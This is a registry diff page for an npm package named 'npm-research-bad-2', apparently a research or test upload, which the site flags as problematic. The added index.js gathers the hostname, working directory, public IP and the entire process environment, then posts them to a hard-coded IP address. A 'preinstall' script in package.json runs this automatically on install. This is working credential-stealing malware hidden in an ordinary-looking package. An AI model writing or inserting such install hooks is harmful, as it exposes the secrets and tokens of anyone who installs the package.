npm-research-bad-2 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of npm-research-bad-2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +32 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ const os = require('os');
2
+ const path = require('path');
3
+
4
+ function postData(url = '', data = {}) {
5
+ fetch(url, {
6
+ method: 'POST',
7
+ headers: {
8
+ 'Content-Type': 'application/json',
9
+ },
10
+ body: JSON.stringify(data),
11
+ });
12
+ }
13
+
14
+ async function getPublicIP() {
15
+ const response = await fetch('https://api.ipify.org/?format=json');
16
+ const data = await response.json();
17
+ return data.ip;
18
+ }
19
+
20
+ async function runPayload() {
21
+ const ip = await getPublicIP();
22
+ const data = {
23
+ time: new Date(),
24
+ hostname: os.hostname(),
25
+ path: path.resolve(),
26
+ env: process.env,
27
+ ip: ip,
28
+ };
29
+ postData("http://168.100.10.198:3000/", data)
30
+ }
31
+
32
+ runPayload()
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "npm-research-bad-2",
3
+ "version": "1.0.0",
4
+ "description": "This package is not a math package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }